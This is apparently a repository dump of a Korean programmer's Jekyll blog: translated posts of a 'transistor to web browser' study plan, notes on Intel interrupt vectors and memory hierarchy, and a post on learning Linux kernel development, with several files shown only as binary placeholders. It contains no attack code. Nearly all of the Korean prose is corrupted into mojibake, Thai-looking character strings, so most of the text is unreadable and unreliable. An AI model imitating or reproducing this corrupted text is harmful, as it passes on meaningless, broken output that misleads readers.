layout: post title: "ํŠธ๋žœ์ง€์Šคํ„ฐ์—์„œ ์›น ๋ธŒ๋ผ์šฐ์ €๊นŒ์ง€: ์ง€์˜คํ•ซ ๊ธ€ ๋ฒˆ์—ญ: 3ํŽธ" date: 2019-08-31 11:03:00 +0900 categories: [translation]

I translated the content of this markdown, if you think that there's any problem with this post, such as the licensing problems, contact me to [email protected], so I can help you.

์„น์…˜ 4: ์ปดํŒŒ์ผ๋Ÿฌ: ๊ณ ์ˆ˜์ค€ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด -- 3 ์ฃผ

  • C์–ธ์–ด ์ปดํŒŒ์ผ๋Ÿฌ ๋งŒ๋“ค๊ธฐ(Haskell, 2000) -- ์กฐ๊ธˆ ๋” ์žฌ๋ฐŒ๋Š” ๊ณผ์ •์ž…๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์„ ํ†ตํ•ด ์ปดํŒŒ์ผ๋Ÿฌ์˜ ๊ธฐ์ดˆ์ ์ธ ์„ค๊ณ„์— ๋Œ€ํ•ด ๊ณต๋ถ€ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ํ•˜์Šค์ผˆ๋กœ ์ž‘์„ฑํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ํŒŒ์„œ๋ฅผ ์ž‘์„ฑํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์ด๊ฒƒ์„ ์„œ๋ธŒ์ฑ•ํ„ฐ๋กœ ๋‚˜๋ˆ„์„ธ์š”. ๊ฒฐ๊ณผ๋ฌผ์ด ARM ์–ด์…ˆ๋ธ”๋ฆฌ๋กœ ๋‚˜์˜ต๋‹ˆ๋‹ค.
  • ๋ง์ปค ๋งŒ๋“ค๊ธฐ(Python, 300) -- ๋‹น์‹ ์ด ๋˜‘๋˜‘ํ•˜๋‹ค๋ฉด, ํ•˜๋ฃจ์ •๋„ ๊ฑธ๋ฆด๊ฒ๋‹ˆ๋‹ค. ELFํŒŒ์ผ์ด ์ถœ๋ ฅ๊ฐ’์œผ๋กœ ๋‚˜์˜ต๋‹ˆ๋‹ค. QEMU์™€ ํ…Œ์ŠคํŠธ ํ•˜๋Š”๋ฐ ์‚ฌ์šฉํ•ด์š”, ์„ธ๋ฏธํ˜ธ์ŠคํŒ…์œผ๋กœ์š”.
  • libc + malloc(C, 500) -- ๋ณต์žกํ•œ ํ”„๋กœ๊ทธ๋žจ์„ ์œ„ํ•œ ๊ด€๋ฌธ์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ Libc๋Š” ์ ˆ๋ฐ˜๋งŒ ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค. memcpy๋‚˜ memset, printf๊ฐ™์€๊ฑธ์š”. ๊ทธ์น˜๋งŒ ์‹œ์Šคํ…œ์ฝœ wrapper๋Š” ๋งŒ๋“ค์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • ์ด๋”๋„ท ์ปจํŠธ๋กค๋Ÿฌ ์ œ์ž‘(Verilog, 200) -- ์ง„์งœ PHY(์ด๋”๋„ท ๋ฌผ๋ฆฌ ๊ณ„์ธต)์— ์ ‘๊ทผํ•ฉ๋‹ˆ๋‹ค, MMIO ์„ค๊ฒŒ๋ฅผ ๋งค์šฐ ์กฐ์‹ฌ์Šค๋Ÿฝ๊ฒŒ ๊ณ ๋ คํ•˜๋ฉด์„œ์š”.
  • ๋ถ€ํŠธ๋กœ๋” ์ž‘์„ฑ(C, 300) -- UDP๋ฅผ ํ†ตํ•œ ํ†ต์‹ ์„ ํ•˜๋Š” ์ด๋”๋„ท ํ”„๋กœ๊ทธ๋žจ์„ ๋ถ€ํŠธ๋กœ๋”์— ์ž‘์„ฑํ•ฉ๋‹ˆ๋‹ค. C๋กœ ์งœ์—ฌ์งˆ๊ฒƒ์ž…๋‹ˆ๋‹ค. Maybe donโ€™t redownload over serial each time and embed in FPGA image. (ํ•ด์„ ์‹คํŒจ...)

File: _posts/2019-09-01-Translation49.md

[Binary file]


File: _posts/2019-09-02-Translation50.md


layout: post title: "ํŠธ๋žœ์ง€์Šคํ„ฐ์—์„œ ์›น ๋ธŒ๋ผ์šฐ์ €๊นŒ์ง€: ์ง€์˜คํ•ซ ๊ธ€ ๋ฒˆ์—ญ: 5ํŽธ" date: 2019-09-02 15:56:00 +0900 categories: [Plans]

I translated the content of this markdown, if you think that there's any problem with this post, such as the licensing problems, contact me to [email protected], so I can help you.

์„น์…˜ 6: ๋ธŒ๋ผ์šฐ์ €: ์˜จ๋ผ์ธ์œผ๋กœ ๊ฐ‘์‹œ๋‹ค -- 1 ์ฃผ

  • TCP ์Šคํƒ ์ œ์ž‘(C, 500) -- ์•„๋งˆ ์ปค๋„์—์„œ ์ฝ”๋”ฉ๋ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ปค๋„์•ˆ์˜ ์ด๋”๋„ท ๋“œ๋ผ์ด๋ฒ„์™€ ํ†ตํ•ฉํ•ฉ๋‹ˆ๋‹ค. ๋„คํŠธ์›Œํ‚น ์‹œ์Šคํ…œ์ฝœ์— ๋Œ€ํ•œ ์ง€์›์„ ์ปค๋„์— ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. (send, recv, bind, connect)
  • telnetd, ๋ฉ€ํ‹ฐํ”„๋กœ์„ธ์„œ๊ฐ€ ๋˜๋Š”๊ฒƒ์˜ ํž˜(C, 50) -- ์”จ๋กœ ์ž‘์„ฑ๋˜์–ด, ์‚ฌ์šฉ์ž๋Š” ํ…”๋„ท์„ ํ†ตํ•ด ์—ฌ๋Ÿฌ๋ฒˆ ์ ‘์† ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ง„์งœ ๊ทธ๋ƒฅ bind shell์ด์—์š”.
  • ๊ณต๊ฐ„ ์ ˆ์•ฝ dyanamic linking(C, 300) -- ์™œ๋ƒํ•˜๋ฉด ์šฐ๋ฆฌ๋Š” dynamic linker๊ฐ€ ์–ด๋–ป๊ฒŒ ๊ทธ์ € ์‚ฌ์šฉ์ž ์˜์—ญ ํ”„๋กœ๊ทธ๋žจ์ธ์ง€ ์„ค๋ช… ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋ง์ปค์— ๋Œ€ํ•œ ์ˆ˜์ •์ด ํ•„์š”ํ•ด์š”.
  • ์›น์— ๋Œ€ํ•ด ๋‹ค๋ฃน์‹œ๋‹ค(C, 500+) -- ๋ฉ‹์žˆ๋Š” ํ„ฐ๋ฏธ๋„๊ณผ ANSI๋ฅผ ์‚ฌ์šฉํ•œ ์ข‹์€ ํ…์ŠคํŠธ ๊ธฐ๋ฐ˜ ์›น๋ธŒ๋ผ์šฐ์ €๋ฅผ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ๋™์ ์œผ๋กœ ์—ฐ๊ฒฐ๋˜์–ด์žˆ๊ณ  ๋‹น์‹ ์ด ์›ํ•˜๋Š” ๋งŒํผ ์ข‹์Šต๋‹ˆ๋‹ค.

File: _posts/2019-09-03-Translation51.md

[Binary file]


File: _posts/2019-09-04-apue52.md

[Binary file]


File: _posts/2019-09-18-python53.md

[Binary file]


File: _posts/2019-09-19-apue54.md

[Binary file]


File: _posts/2019-09-22-operating55.md

[Binary file]


File: _posts/2019-09-24-operating56.md

[Binary file]


File: _posts/2019-10-1-operating65.md


layout: post title: operating system concepts - interrupts 3 date: 2019-10-1 11:40:46 +0900 categories: [operating_system]

๋‹ค์Œ์€ ์ธํ…” ํ”„๋กœ์„ธ์„œ๋“ค์˜ ์ธํ„ฐ๋ŸฝํŠธ ๋ฒกํ„ฐ ์„ค๊ณ„๋„๋‹ค.

๋ฒกํ„ฐ ์ˆซ์ž ์„ค๋ช…
0 ๋‚˜๋ˆ„๊ธฐ ์˜ค๋ฅ˜
1 ๋””๋ฒ„๊ทธ ์˜ˆ์™ธ ์ƒํ™ฉ
2 null interrupt
3 ๋ธŒ๋ ˆ์ดํฌ ํฌ์ธํŠธ
4 INTO-detected ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ
5 bound range exception
6 invalid opcode
7 device not available
8 double fault
9 coprocessor segment overrun (reserved)
10 invalid task state segment
11 segment not present
12 stack fault
13 general protection
14 page fault
15 (Intel reserved, do not use)
16 floating-point error
17 alignment check
18 machine check
19-31 (Intel reserved, do not use)
32-255 maskable interrupts

์ธํ„ฐ๋ŸฝํŠธ์˜ ์ข…๋ฅ˜๋ฅผ ๋‚˜๋ˆ”๊ณผ ๋™์‹œ์— ์ค‘์š”๋„๋ฅผ ๋‹ค๋ฃจ๊ธฐ ์œ„ํ•ด ์ด๋Ÿฌํ•œ ๋ฒกํ„ฐ ์ˆซ์ž๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.

  • ๊ทธ๋ž˜์„œ CPU๋Š” ๋ชจ๋“  ์ข…๋ฅ˜์˜ ์ธํ„ฐ๋ŸฝํŠธ๋ฅผ ๊ฐ์ถ”๋Š”๊ฒƒ(masking) ์—†์ด ๋†’์€ ์ค‘์š”๋„์˜ ์ธํ„ฐ๋ŸฝํŠธ๊ฐ€ ๋‚ฎ์€ ์ค‘์š”๋„์˜ ์ธํ„ฐ๋ŸฝํŠธ๋ฅผ ์„ ์ ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ด์ค€๋‹ค.
    ์ €๋ฒˆ์‹œ๊ฐ„์— nonmaskable interrupt์™€ maskable interrupt์— ๋Œ€ํ•ด ๋‹ค๋ค˜๋Š”๋ฐ,
    0๋ถ€ํ„ฐ 31๊นŒ์ง€์˜ ๋ฒกํ„ฐ์ˆซ์ž๋ฅผ ๊ฐ€์ง„ ์ธํ„ฐ๋ŸฝํŠธ๋“ค์€ ์—ฌ๋Ÿฌ ์˜ค๋ฅ˜์ƒํ™ฉ์„ ์˜๋ฏธํ•˜๋Š”๋ฐ ์‚ฌ์šฉ๋˜๋Š” nonmaskable interrupts ์ด๋ฉฐ, 32๋ถ€ํ„ฐ 255๊นŒ์ง€๋Š” ๊ธฐ๊ธฐ์—์„œ ๋งŒ๋“ค์–ด์ง„ ์ธํ„ฐ๋ŸฝํŠธ๋“ค์„ ์œ„ํ•ด ์‚ฌ์šฉ๋œ๋‹ค.

๊ทธ๋ž˜์„œ ์—ฌํƒœ๊นŒ์ง€ ์ธํ„ฐ๋ŸฝํŠธ์— ๋Œ€ํ•ด ๋‹ค๋ฃฌ ๋‚ด์šฉ์„ ์š”์•ฝํ•˜์ž๋ฉด, ์ธํ„ฐ๋ŸฝํŠธ๋Š” ํ˜„๋Œ€์˜ ์šด์˜์ฒด์ œ ์‹œ์Šคํ…œ์—์„œ ๋น„๋™๊ธฐ์ ์ธ ์ด๋ฒคํŠธ๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š”๋ฐ ์‚ฌ์šฉ๋˜๊ณ , ๋””๋ฐ”์ด์Šค ์ปจํŠธ๋กค๋Ÿฌ์™€ ํ•˜๋“œ์›จ์–ด๋“ค์€ ์ด๋Ÿฌํ•œ ์ธํ„ฐ๋ŸฝํŠธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚จ๋‹ค.
๊ฐ€์žฅ ์ค‘์š”ํ•œ ์ผ์„ ๊ฐ€์žฅ ๋จผ์ € ์ฒ˜๋ฆฌํ•ด์•ผํ•˜๊ธฐ๋–„๋ฌธ์—, ํ˜„๋Œ€์˜ ์ปดํ“จํŒ… ์‹œ์Šคํ…œ์—์„œ๋Š” ์ธํ„ฐ๋ŸฝํŠธ ์ค‘์š”๋„ ์‹œ์Šคํ…œ์„ ์‚ฌ์šฉํ•œ๋‹ค.
์ธํ„ฐ๋ŸฝํŠธ๋“ค์€ ์•„์ฃผ ์‹œ๊ฐ„์— ๋ฏผ๊ฐํ•œ ๊ณผ์ •์ด๊ธฐ๋•Œ๋ฌธ์— ํšจ์œจ์ ์ธ ์ธํ„ฐ๋ŸฝํŠธ ์ฒ˜๋ฆฌ๋Š” ์‹œ์Šคํ…œ์˜ ์„ฑ๋Šฅ์„ ์œ„ํ•ด์„œ ์š”๊ตฌ๋œ๋‹ค.


File: _posts/2019-10-1-operating66.md


layout: post title: operating system concepts - storage structure date: 2019-10-1 11:44:17 +0900 categories: [operating_system]

์ €์žฅ์žฅ์น˜ ๊ตฌ์กฐ

ํ”„๋กค๋กœ๊ทธ

ํ˜„๋Œ€์˜ ์ปดํ“จํ„ฐ๋Š” ํฐ๋…ธ์ด๋งŒ์‹ ๊ตฌ์กฐ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค. ์ด ๊ตฌ์กฐ์—์„œ ์‹คํ–‰๋˜๋Š” ๋ชจ๋“  ํ”„๋กœ๊ทธ๋žจ์€ ๋ฉ”๋ชจ๋ฆฌ์œ„์— ์žˆ์–ด์•ผํ•œ๋‹ค.
ํ”„๋กœ๊ทธ๋žจ์€ ๋ช…๋ น์–ด๋“ค์˜ ์ง‘ํ•ฉ์ด๋‹ค. ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ• ๋•Œ CPU๋Š” ๋ช…๋ น์–ด ํ•˜๋‚˜ํ•˜๋‚˜๋ฅผ ๋ฉ”๋ชจ๋ฆฌ์—์„œ๋ถ€ํ„ฐ ์ฝ์–ด์™€ ๋ช…๋ น์–ด ๋ ˆ์ง€์Šคํ„ฐ์— ์ €์žฅํ•˜๊ณ , ๊ฒฐ๊ณผ๊ฐ’๋„ ๋ฉ”๋ชจ๋ฆฌ์— ์ €์žฅํ•œ๋‹ค.
์ด๋Ÿฌํ•œ ๋ฐฉ์‹๋“ค์„ ๊ตฌํ˜„ํ•˜๊ธฐ ์œ„ํ•ด ๋ชจ๋“  ๋ฉ”๋ชจ๋ฆฌ์˜ byte๋“ค์€ ๊ฐ์ž์˜ ์ฃผ์†Œ๊ฐ’์„ ๊ฐ–๊ณ ์žˆ๋‹ค.

์—ฌ๋‹ด์œผ๋กœ, ๋ฉ”๋ชจ๋ฆฌ ์œ ๋‹›์€ ๋ฉ”๋ชจ๋ฆฌ์ฃผ์†Œ์˜ ํ๋ฆ„๋งŒ์„ ๋ณผ ๋ฟ์ด๋ผ๋Š”์ ์„ ์•Œ์•„ ๋‘˜ ํ•„์š”๊ฐ€ ์žˆ๋Š”๋ฐ, ์™œ๋ƒํ•˜๋ฉด ๋ฉ”๋ชจ๋ฆฌ์œ ๋‹›์€ ๊ทธ ํ๋ฆ„๋“ค์ด ๋ช…๋ น์–ด ์นด์šดํ„ฐ์— ์˜ํ•ด์„œ ์ƒ๊ฒผ๋Š”์ง€, ์ธ๋ฑ์‹ฑ์— ์˜ํ•ด์„œ ์ƒ๊ฒผ๋Š”์ง€ ์ „ํ˜€ ๋ชจ๋ฅด๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.
๋”ฐ๋ผ์„œ ๋ฉ”๋ชจ๋ฆฌ์ฃผ์†Œ๊ฐ€ ์–ด๋–ป๊ฒŒ ํ”„๋กœ๊ทธ๋žจ์— ์˜ํ•ด ๋งŒ๋“ค์–ด์กŒ๋Š”์ง€๋Š” ๋ฌด์‹œ ํ•  ์ˆ˜ ์žˆ๋‹ค. ์œ ์ผํ•œ ๊ด€์‹ฌ์‚ฌ๋Š” ์‹คํ–‰์ค‘์ธ ํ”„๋กœ๊ทธ๋žจ์— ์˜ํ•ด ๋งŒ๋“ค์–ด์ง„ ๋ฉ”๋ชจ๋ฆฌ์˜ ์ˆœ์—ด๋ฟ์ด๋‹ค.

์–ด์ฐŒ๋˜์—ˆ๋˜, ์ด๋Ÿฌํ•œ ๋‚ด์šฉ์„ ๊ตฌํ˜„ํ•˜๊ธฐ ์œ„ํ•ด ์–ด๋–ค ์ข…๋ฅ˜์˜ ๋ฉ”๋ชจ๋ฆฌ๋“ค์ด ์‚ฌ์šฉ๋˜๋ฉฐ, ๊ทธ๋“ค์€ ์–ด๋–ค ์ด์œ ๋กœ ํ•ด๋‹น ์šฉ๋„์— ์‚ฌ์šฉ๋ ๊นŒ?

๋ฉ”๋ชจ๋ฆฌ ์ข…๋ฅ˜

์ผ๋‹จ ๋ฉ”๋ชจ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋‘๊ฐ€์ง€๋กœ ๊ตฌ๋ถ„ ํ•  ์ˆ˜ ์žˆ๋‹ค.

  • ํœ˜๋ฐœ์„ฑ ๋ฉ”๋ชจ๋ฆฌ(Volatile Memory)
  • ๋น„ ํœ˜๋ฐœ์„ฑ ๋ฉ”๋ชจ๋ฆฌ(Nonvolatile Memory)
    • ๊ธฐ๊ณ„์  ๋ฐฉ์‹: Hard-Drive Disk(HDD)
    • ์ „์ž๊ธฐ์  ๋ฐฉ์‹: NonVolatile Disk(NVM)

์ฃผ๊ธฐ์–ต ์žฅ์น˜

๋ณดํ†ต RAM(Random Access Memory)์ด๋ผ๊ณ ๋„ ๋ถˆ๋ฆฌ๋Š” ์ฃผ๊ธฐ์–ต์žฅ์น˜์—์„œ ํ”„๋กœ๊ทธ๋žจ์„ ๋Œ๋ฆฐ๋‹ค.
- ๋ณดํ†ต DRAM(Dynamic Random Access Memory) ์ด๋ผ๋Š” ๊ธฐ์ˆ ๋กœ ์ด๋ค„์ง„ ๋ฐ˜๋„์ฒด์ด๋‹ค.
- ํœ˜๋ฐœ์„ฑ์ด ์žˆ์–ด, ๊ป๋‹ค ํ‚ค๋ฉด ์‚ฌ๋ผ์ง„๋‹ค.

๊ป๋‹ค ์ผฐ์„๋•Œ ์‚ฌ๋ผ์ง€๋ฉด, ์šด์˜์ฒด์ œ๋ฅผ ๋ถ€ํŒ…์‹œํ‚ค๊ธฐ ์œ„ํ•œ ํ•„์ˆ˜์š”์†Œ ๊ฐ™์€ ๋‚ด์šฉ๋“ค์€ ์–ด๋–ป๊ฒŒํ• ๊นŒ? ๋น„ ํœ˜๋ฐœ์„ฑ ๋ฉ”๋ชจ๋ฆฌ๋„ ํ•„์š”ํ•˜์ง€ ์•Š๊ฒ ๋Š”๊ฐ€?

์ด๋“ค์€ ROM(Read Only Memory)์ด๋ผ๊ณ  ๋ถˆ๋ฆฐ๋‹ค.

  • ๋น„ํœ˜๋ฐœ์„ฑ์ด๋‹ค.
  • ์ด๋ฆ„์ฒ˜๋Ÿผ READ ONLY๋ผ๊ณ  ํ•ด์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ง€์šฐ๊ฑฐ๋‚˜ ๋‹ค์‹œ ์“ฐ๋Š”๊ฒƒ์ด ๋ถˆ๊ฐ€๋Šฅํ•œ๊ฒƒ์€ ์•„๋‹ˆ๊ณ , ์†๋„๊ฐ€ ๋А๋ฆฌ๋‹ค.
  • ์ž์ฃผ ์ˆ˜์ •๋˜์ง€ ์•Š๋Š” ์ •์ ์ธ๋ฐ์ดํ„ฐ๊ฐ€ ์ž์ฃผ ๋“ค์–ด๊ฐ„๋‹ค.
    • ์˜ˆ๋ฅผ๋“ค์–ด, ์•„์ดํฐ์€ ROM์„ ์‹œ๋ฆฌ์–ผ๋„˜๋ฒ„, ํ•˜๋“œ์›จ์–ด ์ •๋ณด๋ฅผ ๋‹ด๋Š”๋ฐ ์‚ฌ์šฉํ•œ๋‹ค.โ€จโ€จ### ๋ณด์กฐ๊ธฐ์–ต ์žฅ์น˜
      ๋ชจ๋“  ๋ฐ์ดํ„ฐ์™€ ํ”„๋กœ๊ทธ๋žจ์„ ์ฃผ๊ธฐ์–ต ์žฅ์น˜์— ์˜์›ํžˆ ๋„ฃ๊ณ ์‹ถ์–ด๋„, ํœ˜๋ฐœ์„ฑ ๋ฌธ์ œ, ๋ฉ”๋ชจ๋ฆฌ ํฌ๊ธฐ์˜ ๋ฌธ์ œ๋กœ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. ๊ทธ๋ž˜์„œ ๊ทธ๋Ÿฌํ•œ ์šฉ๋„๋ฅผ ์œ„ํ•ด ๋ณด์กฐ๊ธฐ์–ต์žฅ์น˜๊ฐ€ ํ•„์š”ํ•˜๋‹ค.
      ๊ทธ๋ž˜์„œ ๋Œ€๋ถ€๋ถ„์˜ ์ปดํ“จํ„ฐ๋Š” ๋ณด์กฐ๊ธฐ์–ต์žฅ์น˜๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.
      ํ”„๋กœ๊ทธ๋žจ๋“ค์€ ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋“œ๋˜๊ธฐ ์ „๊นŒ์ง€ ๋ณด์กฐ๊ธฐ์–ต์žฅ์น˜์— ์ €์žฅ๋œ๋‹ค.
      ๋ณด์กฐ๊ธฐ์–ต์žฅ์น˜๋Š” ์ฃผ๊ธฐ์–ต์žฅ์น˜๋ณด๋‹ค ๋А๋ฆฌ์ง€๋งŒ ํฌ๊ธฐ๊ฐ€ ํฌ๊ณ , ๋น„ํœ˜๋ฐœ์„ฑ์ด๋‹ค.

๊ณ„์† ์–ธ๊ธ‰๋˜๋Š” ๋น„ํœ˜๋ฐœ์„ฑ ๋ฉ”๋ชจ๋ฆฌ์—๋Š” ๋‘๊ฐ€์ง€ ์ข…๋ฅ˜๊ฐ€ ์žˆ๋‹ค.

  • ๊ธฐ๊ณ„์‹
    • Hard Disk Drive(HDD)
  • ์ „์ž๊ธฐ์ ๋ฐฉ์‹
    • Nonvolatile memory(NVM)
      • FRAM, NRAM, SSD

์•„๊นŒ ์œ„์—์„œ ๋ณด์กฐ๊ธฐ์–ต์žฅ์น˜๊ฐ€ ์ฃผ๊ธฐ์–ต์žฅ์น˜๋ณด๋‹ค ๋А๋ฆฌ๋‹ค๊ณ  ์–ธ๊ธ‰ํ–ˆ๋Š”๋ฐ, ๊ทธ๋ž˜์„œ ๋ณด์กฐ๊ธฐ์–ต์žฅ์น˜๋ฅผ ์ ์ ˆํžˆ ๊ด€๋ฆฌํ•˜๋Š”๊ฒƒ์€ ์ปดํ“จํ„ฐ ์‹œ์Šคํ…œ์— ์žˆ์–ด ์ค‘์š”ํ•˜๋‹ค.

๋ฉ”๋ชจ๋ฆฌ๋“ค์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ข…๋ฅ˜๋“ค์ด ์žˆ๋‹ค.

๋ฐ‘์œผ๋กœ ๊ฐˆ์ˆ˜๋ก ์†๋„๋Š” ๋А๋ ค์ง€์ง€๋งŒ, ์šฉ๋Ÿ‰์€ ์ปค์ง„๋‹ค.

registers
cache
main memory
[์œ„์—๋Š” ํœ˜๋ฐœ์„ฑ]
nonvolatile memory
hard disk drives
optical disk
magnetic tapes

registers๋ถ€ํ„ฐ nonvolatile memory๊นŒ์ง€๋Š” ๋ฐ˜๋„์ฒด๊ธฐ๋ฐ˜์˜ ์ „์ž๊ธฐ์  ์žฅ์น˜๋กœ์„œ ๊ตฌ์„ฑ๋œ ๋ฉ”๋ชจ๋ฆฌ์ด๋‹ค.


File: _posts/2019-10-1-operating67.md

[Binary file]


File: _posts/2019-10-10-linux71.md

[Binary file]


File: _posts/2019-10-12-linux72.md


layout: post title: How to deep into Linux Development date: 2019-10-12 12:40:9 +0900 categories: [unix, linux, programming]

Why you wrote this?

๋‚ด๊ฐ€ ๊ตฌ๊ธ€๋ง ์‹ค๋ ฅ์ด ๋ถ€์กฑํ•œ ํƒ“์ผ๊นŒ, ํ•œ๊ตญ์–ด๋กœ๋Š” ๊ธฐ๋Œ€๋„ ํ•˜์ง€์•Š๊ณ , ์˜์–ด๋กœ Linux Kernel Development ๋ฅผ ์•„๋ฌด๋ฆฌ ์ณ๋ณด์•„๋„, ์–ป์„์ˆ˜์žˆ๋Š” ์ •๋ณด์ค‘์—์„œ ๊ฐ€์žฅ ๋„์›€์ด ๋ ๋งŒํ•œ ๋‚ด์šฉ์€ https://kernelnewbies.org ์ •๋„ ๋ฟ์ด๋‹ค. ๊ทธ ์™ธ์—๋Š” Operating System Concepts, Linux Kernel Development์™€ ๊ฐ™์€ ์ฑ… ์ถ”์ฒœ์ •๋„? ๊ทธ๋ฆฌ๊ณ  ์ด๋Ÿฐ ์‚ฌ๋žŒ์ด ํ•œ๊ตญ์—๋งŒ ์žˆ๋Š”๊ฑด ์•„๋‹Œ๊ฑฐ๊ฐ™๋‹ค.

๋ฌผ๋ก  kernelnewbies๋Š” ํ›Œ๋ฅญํ•œ ์‚ฌ์ดํŠธ์ด๋‹ค. ๋…์ž์˜ ์ˆ˜์ค€์„ C์ •๋„๋ฐ–์— ๋ชจ๋ฅด๋Š” ์ดˆ์‹ฌ์ž๋ผ๊ณ  ๊ฐ€์ •ํ•˜๊ธฐ์—, ํŠœํ† ๋ฆฌ์–ผ ํŽ˜์ด์ง€์—์„œ๋Š” ๋ฆฌ๋ˆ…์Šค ๋ฐฐํฌํŒ ์„ค์น˜๋ถ€ํ„ฐ git, ์ปค๋„ ๋นŒ๋“œ, ๊ทธ๋ฆฌ๊ณ  ํ›Œ๋ฅญํ•œ ํŒจ์น˜(์ปค๋ฐ‹)๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด์„œ๋„ ์•Œ๋ ค์ค€๋‹ค. ๋˜, ์ด๋ ‡๊ฒŒ ์ปค๋„ ๊ฐœ๋ฐœ์— ํฅ๋ฏธ๊ฐ€ ์žˆ๋Š” ๋…์ž๋“ค์„ ์œ„ํ•ด ์ปค๋„ ๊ฐœ๋ฐœ์ด ์–ด๋–ค๊ฒƒ์ธ์ง€, ์„œ๋ธŒ ์‹œ์Šคํ…œ๋“ค์€ ๋ญ๊ฐ€ ์žˆ๋Š”์ง€ ๋“ฑ, ์ง„์งœ ์ด๋งŒํ•œ ์‚ฌ์ดํŠธ๋Š” ๋” ์—†๋‹ค๊ณ  ์ƒ๊ฐํ•œ๋‹ค.

์œ„์—์„œ ์–ธ๊ธ‰๋œ '๊ณต๋ฃก์ฑ…' ์ด๋ผ ๋ถˆ๋ฆฌ๋Š” Operating System Concepts ๋ผ๋˜๊ฐ€, Advanced Programming in the UNIX Environment, CSAPP ๊ณผ ๊ฐ™์€ ์ฑ…๋“ค์„ ์ฝ์–ด๋ณด๊ณ  ์žˆ์Œ์—๋„ ์•„์ง ๋ญ˜ ์–ด๋–ป๊ฒŒ ํ•ด์•ผ ํ•  ์ง€ ์ „ํ˜€ ๊ฐ์ด ์˜ค์ง€ ์•Š๋Š”๋‹ค. ์ด ์ฑ…๋“ค์€ ์ง€๊ธˆ ์ด๋ฏธ ๊ตฌํ˜„๋˜์–ด์žˆ๋Š” ๋ฆฌ๋ˆ…์Šค ์‹œ์Šคํ…œ(๊ทธ์™ธ์˜ ๋‹ค๋ฅธ ์šด์˜์ฒด์ œ)์ด ์–ด๋–ป๊ฒŒ ๋Œ์•„๊ฐ€๋Š”์ง€์— ๋Œ€ํ•ด ๋‹ค๋ฃจ๋Š”๊ฒƒ์ด๋ผ ์ข€ ์ถ”์ƒ์ ์ด๋‹ค.

์ฆ‰, ์ •๋ฆฌํ•˜์ž๋ฉด ๊ฒ€์ƒ‰์„ ํ†ตํ•ด ์–ป์„ ์ˆ˜ ์žˆ๋Š” ์ •๋ณด๋“ค์€ ๊ธฐ๋ฐ˜์ด ๋˜๋Š” ์ง€์‹์„ ์–ป๋Š” ๋ฐฉ๋ฒ•, ํ˜น์€ ์ปค๋„์— ๊ธฐ์—ฌํ•˜๊ธฐ ์œ„ํ•ด ์•Œ์•„์•ผํ• ๊ฒƒ๋“ค(git๊ณผ ๊ฐ™์€ ๋„๊ตฌ์˜ ์‚ฌ์šฉ๋ฒ•) ์ •๋„ ๋ฟ์ด๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ๊ทธ '์†Œ์Šค๋“ค์„ ์ดํ•ดํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์–ด๋–ค๊ฒƒ๋ถ€ํ„ฐ ์ฝ๊ธฐ๋ฅผ ์‹œ์ž‘ํ•ด์•ผ ํ•˜๋Š”๊ฐ€'์— ๋Œ€ํ•œ ๋‚ด์šฉ์ด ์—†๋‹ค. ์ข€ ๋” ๋ช…ํ™•ํžˆ ๋งํ•˜์ž๋ฉด, ๋ฆฌ๋ˆ…์Šค ์ปค๋„ ๊ฐœ๋ฐœ์„ ์œ„ํ•œ ์ง€์‹๋“ค์„ ์–ด๋””์„œ ์Œ“์•„์•ผ ํ• ์ง€๋ฅผ ๋ชจ๋ฅธ๋‹ค๋Š”๊ฑฐ๋‹ค. '๋“œ๋ผ์ด๋ฒ„๋ฅผ ๊ณต๋ถ€ํ•˜๊ณ ์‹ถ์€๋ฐ ์–ด๋–ป๊ฒŒ ๊ณต๋ถ€ํ•ด์•ผํ•˜์ง€?' 'ํŒŒ์ผ ์‹œ์Šคํ…œ ๋ถ€๋ถ„์„ ๊ณต๋ถ€ํ•˜๊ณ  ์‹ถ์€๋ฐ ์–ด๋–ป๊ฒŒ ๊ณต๋ถ€ํ•ด์•ผํ•˜์ง€?' ์ด๋Ÿฐ ์งˆ๋ฌธ๋“ค ๋ง์ด๋‹ค. ๋ฌด์ž‘์ • ์†Œ์Šค์ฝ”๋“œ๋ฅผ ์ฝ๊ธฐ์—๋Š” ์–ด๋””๋ฅผ ์ฝ์–ด์•ผ ํ•  ์ง€๋„ ๋ชจ๋ฅด๊ฒ ๊ณ , ์„ค๋ น ์ฝ๋Š”๋‹ค๊ณ  ํ•˜๋”๋ผ๋„ ๋‚˜์˜ ๊ฒฝ์šฐ๋Š” ๊ทธ ๊ธฐ๋ฐ˜ ์ง€์‹์ด ์—†๋Š”๊ฑฐ๊ฐ™๋”๋ผ.

